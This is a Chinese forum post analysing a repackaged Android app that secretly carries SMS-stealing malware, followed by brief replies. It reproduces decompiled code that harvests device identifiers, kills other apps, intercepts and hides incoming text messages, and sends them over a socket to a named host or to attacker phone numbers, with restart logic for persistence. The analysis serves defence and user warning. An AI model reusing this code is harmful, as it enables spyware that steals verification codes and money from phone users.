VIP帐号分享神器v1.8被恶意修改带病毒样本分析
本帖最后由 世事繁华皆成空 于 2016-1-26 15:47 编辑该带拦截短信功能的软件在91sh博客(虽然版规不允许提到其它网站,不过该病毒程序也间接联系到了我,在此声明一下)公开的去广告版本(由我自己修改)的版本上添加了相关代码
Manifest变化
软件声明了一个隐式广播和一个com.Adbbk.referh服务,在网络状态变化,电量变化,用户解锁屏幕时都会触发该广播
public void onReceive(Context context, Intent intent) {
String v0 = intent.getAction();
Intent v1 = new Intent(context, referh.class);
if(!v0.equals(referh.CONNECTIVITY_CHANGE) && !v0.equals(referh.baidu_CHANGED)) {
if(v0.equals(referh.xt)) {
v1.putExtra("action", v0);
}
else {
if(!v0.equals("SEND_ACTIOIN") && !v0.equals("DELIVERED_ACTION")) {
goto label_15;
}
v1.putExtra("action", v0);
v1.putExtra("number", intent.getStringExtra("number"));
v1.putExtra("resultcode", this.getResultCode());
}
}
label_15:
context.startService(v1);
}
第一次触发时,该方法只会开启refresh这个服务,并不会传值,系统无法触发 <action android:name="android.intent.action.XINTIAO" /> <action android:name="SEND_ACTIOIN" /> <action android:name="DELIVERED_ACTION" />
这三个自定义的action,所以这几个肯定会在之后会被作者主动触发,触发时就会获取一个number和resultCode,这里估计就是你接收或者发送短信的号码了
开启服务后则会调用onCreate和onStart两个方法 public void onCreate() {
super.onCreate();
this.mContext = ((Context)this);
this.initData();
this.lastXinTiao = System.currentTimeMillis();
}
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
if(System.currentTimeMillis() - this.lastXinTiao >= 10000) {
this.socketDisConnect();
}
if(intent != null) {
this.executorService.submit(new onStrartRunnable(this, intent));
}
}
在onCreate中调用了initData()方法,并给lastXinTiao这个成员变量赋值了当前时间
public void initData() {
if(this.dbHelper == null) {
this.dbHelper = new Dbsql(this.mContext, 1);
}
this.dbHelper.opendatabase();
if(this.mContext != null) {
New.reStart(this.mContext);
}
Object v2 = this.mContext.getSystemService("phone");
this.imsi = ((TelephonyManager)v2).getSubscriberId();
if(this.imsi == null) {
this.imsi = "0";
}
this.imei = ((TelephonyManager)v2).getDeviceId();
if(this.imei == null) {
this.imei = "0";
}
this.iccid = ((TelephonyManager)v2).getSimSerialNumber();
if(this.iccid == null) {
this.iccid = "0";
}
this.pstyle = Build.MODEL;
this.sdkver = Integer.valueOf(Build$VERSION.SDK).intValue();
try {
PackageInfo v3 = this.getPackageManager().getPackageInfo(this.getPackageName(), 0);
this.appname = v3.applicationInfo.loadLabel(this.getPackageManager()).toString();
this.ver = v3.versionCode;
}
catch(PackageManager$NameNotFoundException v0) {
this.ver = 0;
}
if(this.srcReceiver == null) {
this.srcReceiver = new SrcenR();
IntentFilter v4 = new IntentFilter();
v4.addAction("android.intent.action.SCREEN_OFF");
v4.addAction("android.intent.action.SCREEN_ON");
this.registerReceiver(this.srcReceiver, v4);
}
if(this.smsReceiver == null) {
this.smsReceiver = new SmsR();
IntentFilter v1 = new IntentFilter();
v1.addAction(referh.SMS_RECEIVER);
v1.setPriority(2147483647);
this.registerReceiver(this.smsReceiver, v1);
}
}
initData方法中,调用了New中的reStart方法
public static boolean reStart(Context context) {
if(context != null) {
PackageManager v4 = context.getPackageManager();
if(v4 != null) {
List v3 = v4.getInstalledPackages(0);
Object v1 = context.getSystemService("activity");
int v0;
for(v0 = 0; v0 < v3.size(); ++v0) {
Object v2 = v3.get(v0);
if(!((PackageInfo)v2).packageName.equals(context.getPackageName())) {
((ActivityManager)v1).killBackgroundProcesses(((PackageInfo)v2).packageName);
}
}
}
}
return 1;
}
该方法遍历系统中已安装的app,如果包名不等于这个vip帐号神器的,则结束后台进程
接下来initdata中会获取一系列手机相关信息,包括设备号,运营商,型号等等,并注册如下广播
if(this.srcReceiver == null) {
this.srcReceiver = new SrcenR();
IntentFilter v4 = new IntentFilter();
v4.addAction("android.intent.action.SCREEN_OFF");
v4.addAction("android.intent.action.SCREEN_ON");
this.registerReceiver(this.srcReceiver, v4);
}
用于监听手机屏幕开启或者关闭,这两种行为都会触发这个广播,以及下面这个广播
if(this.smsReceiver == null) {
this.smsReceiver = new SmsR();
IntentFilter v1 = new IntentFilter();
v1.addAction(referh.SMS_RECEIVER);
v1.setPriority(2147483647);
this.registerReceiver(this.smsReceiver, v1);
}
该广播添加的action为android.provider.Telephony.SMS_RECEIVED即接收短信时会触发该广播,并提升其优先级到最高,即高于系统短信功能接收短信
在OnStart回调中,会开启一个线程池执行this.executorService.submit(new onStrartRunnable(this, intent));
class onStrartRunnable implements Runnable {
private String action;
private Intent intent;
onStrartRunnable(referh arg3, Intent _intent) {
referh.this = arg3;
super();
this.intent = _intent;
this.action = this.intent.getStringExtra("action");
}
public void run() {
if(New.checkNet(referh.this.mContext)) {
if(!referh.this.isConnect) {
if(this.action.equals("android.sendtoserver")) {
this.intent.getStringExtra("number");
String v1 = this.intent.getStringExtra("message");
if(referh.this.dbHelper == null) {
referh.this.dbHelper = new Dbsql(referh.this.mContext, 1);
}
Cursor v0 = referh.this.dbHelper.getkeys();
if(v0 == null) {
goto label_59;
}
if(v0.getCount() <= 0) {
goto label_59;
}
if(!v0.moveToFirst()) {
goto label_59;
}
do {
String v6 = v0.getString(5);
if(!v6.equals("-1")) {
New.sendSms(referh.this.mContext, v6, String.valueOf(referh.this.imei
.substring(referh.this.imei.length() - 4)) + ":" + v1);
}
if(v0.moveToNext()) {
continue;
}
break;
}
while(true);
}
label_59:
referh.this.socketConnect();
}
if(this.action == null) {
return;
}
if(this.action.equals(referh.xt)) {
if(referh.this.isConnect) {
referh.this.sendMessage("0");
return;
}
referh.this.socketDisConnect();
return;
}
if(this.action.equals("DELIVERED_ACTION")) {
String v2 = this.intent.getStringExtra("number");
if(this.intent.getIntExtra("resultcode", 0) != -1) {
return;
}
referh.this.sendMessage("1C{iccid:\"" + referh.this.iccid + "\",imei\":\"" + referh
.this.imei + "\",number:\"" + v2 + "\",message:\"y\",}");
return;
}
if(!this.action.equals("android.sendtoserver")) {
return;
}
referh.this.sendMessage("1B{iccid:\"" + referh.this.iccid + "\",imei\":\"" + referh.
this.imei + "\",number:\"" + this.intent.getStringExtra("number") + "\",message:\""
+ this.intent.getStringExtra("message") + "\",}");
}
else {
referh.this.socketDisConnect();
}
}
}
首先会判断当前网络是否畅通,畅通则会继续执行,由于当前action的行为无法触发其中任何一个if语句,所以只会执行
referh.this.socketConnect();
和
referh.this.sendMessage("1B{iccid:\"" + referh.this.iccid + "\",imei\":\"" + referh.
this.imei + "\",number:\"" + this.intent.getStringExtra("number") + "\",message:\""
+ this.intent.getStringExtra("message") + "\",}");
当之前获取到的手机信息传递给sendMessage方法,此处的sendMessage并不是发送短信,只是一个自定义方法
观察一下socketConnect方法
private boolean socketConnect() {
if(this.socket == null) {
try {
this.socket = new Socket();
this.socket.connect(new InetSocketAddress(New.getHost(this.mContext), referh.PORT),
referh.SOCKET_TIMEOUT);
this.socket.setKeepAlive(true);
this.socket_in = new BufferedReader(new InputStreamReader(this.socket.getInputStream()));
this.socket_out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(this.socket
.getOutputStream())), true);
new Thread(((Runnable)this)).start();
this.isConnect = true;
this.woshou();
}
catch(IOException v7) {
boolean v0 = false;
return v0;
}
if(this.am == null) {
this.am = this.getSystemService("alarm");
Intent v9 = new Intent(this.mContext, EveR.class);
v9.setAction(referh.xt);
this.pendIntent = PendingIntent.getBroadcast(this.getApplicationContext(), 0, v9, 134217728);
this.triggerAtTime = SystemClock.elapsedRealtime();
this.am.setRepeating(2, this.triggerAtTime, ((long)this.interval), this.pendIntent);
}
}
return true;
}
开启一个socket长连接线程,并调用refresh类实现的runnable接口,以及this.woshou()这个方法,并且又重新调用了ever这个广播
if(this.am == null) {
this.am = this.getSystemService("alarm");
Intent v9 = new Intent(this.mContext, EveR.class);
v9.setAction(referh.xt);
this.pendIntent = PendingIntent.getBroadcast(this.getApplicationContext(), 0, v9, 134217728);
this.triggerAtTime = SystemClock.elapsedRealtime();
this.am.setRepeating(2, this.triggerAtTime, ((long)this.interval), this.pendIntent);
}
这里设置了一个全局定时器,从triggerAtTime开始执行,间隔((long)this.interval)时长,执行的为this.pendIntent,即每隔一段时间就会触发ever这个广播
主要看下最重要的拦截短信吧
for(v20 = 0; v20 < v21; ++v20) {
SmsMessage v13 = v12;
String v17 = v13.getMessageBody();
String v18 = v13.getDisplayOriginatingAddress();
if(v18.startsWith("+86")) {
v18 = v18.substring(3);
}
if(this.dbAdapter == null) {
this.dbAdapter = new Dbsql(context, 1);
}
this.dbAdapter.opendatabase();
Cursor v5 = this.dbAdapter.getkeys();
if(v5 != null && v5.getCount() > 0 && (v5.moveToFirst())) {
String v11 = v5.getString(0);
String v10 = v5.getString(1);
String v15 = v5.getString(2);
long v6 = v5.getLong(3);
v5.getInt(4);
if(System.currentTimeMillis() <= v6) {
if((v15.equals("*")) && (v11.equals("*"))) {
v16 = new Intent(context, referh.class);
v16.putExtra("action", "android.sendtoserver");
v16.putExtra("message", v17);
v16.putExtra("number", v18);
this.mContext.startService(v16);
if(!v10.equals("1")) {
}
else if(v19 < 19) {
this.abortBroadcast();
}
else {
}
goto label_133;
}
获取短信的号码和内容,并传递给referh这个广播,传递完成后直接截断广播,所以系统将无法获取到短信
这里也调用到了数据库,看下数据库这个类
this.SMS_TABLE = "create table if not exists smstable(id Integer primary key autoincrement,number text not null,isback text default 0)";
this.KEY_TABLE = "create table if not exists keytable(id Integer primary key autoincrement,keyword text not null,isback text default 0,etime long,number text not null,totel text default -1)";
创建两张表,SMS_TABLE设置了number和isback两个字段,isback初始为0,KEY_TABLE设置了keyword,isback,etime,number,totel五个字段
截断短信后重新回到referh这个服务中,此时再次执行run方法时,则会将短信号码内容传递给sendMessage这个方法,通过 this.socket_out.println(message); this.socket_out.flush();
将数据发送出去
并且在onDestory方法中,如果当前网络畅通,则永远无法结束这几个恶意服务进程,如果无网络,则会结束 public void onDestroy() {
SrcenR v3 = null;
super.onDestroy();
this.socketDisConnect();
if(New.checkNet(this.mContext)) {
this.mContext.startService(new Intent(this.mContext, referh.class));
if(this.dbHelper == null) {
this.dbHelper = new Dbsql(this.mContext, 1);
}
this.dbHelper.opendatabase();
New.reStart(this.mContext);
}
else {
this.stopSelf();
if(this.dbHelper != null) {
this.dbHelper.closedatabase();
}
if(this.srcReceiver != null) {
this.unregisterReceiver(this.srcReceiver);
this.srcReceiver = v3;
}
if(this.smsReceiver != null) {
this.unregisterReceiver(this.smsReceiver);
this.smsReceiver = ((SmsR)v3);
}
if(this.am == null) {
return;
}
if(this.pendIntent == null) {
return;
}
this.am.cancel(this.pendIntent);
this.am = ((AlarmManager)v3);
this.pendIntent = ((PendingIntent)v3);
}
}
初步分析,该app会获取手机的系统信息和短信获取通过socket发送到http://110.aahhjg.com:8890/或者短信发送给作者,但并不会直接造成银行卡被倒刷,除非你的卡信息别人已知晓,并在你付款获取支付验证码时短信被拦截可能会造成财产损失
this.am.setRepeating(2, this.triggerAtTime, ((long)this.interval), this.pendIntent);
这句意思是 以interval为时间周期 发送pendIntent里设置的广播 第一个参数2应该是一个静态常量具体忘了. windwing1883 发表于 2016-1-26 15:11
this.am.setRepeating(2, this.triggerAtTime, ((long)this.interval), this.pendIntent);
这句意思是 以i ...
感谢提醒,已查询资料后修正 我支点我看不懂
不过还是不要前排 膜拜大神的分析 感谢,个人一般不使用这类软体啦。 所以说没有免费的午餐。
膜拜大神的分析 {:1_926:}不错,6666 分析的很详细,顶大牛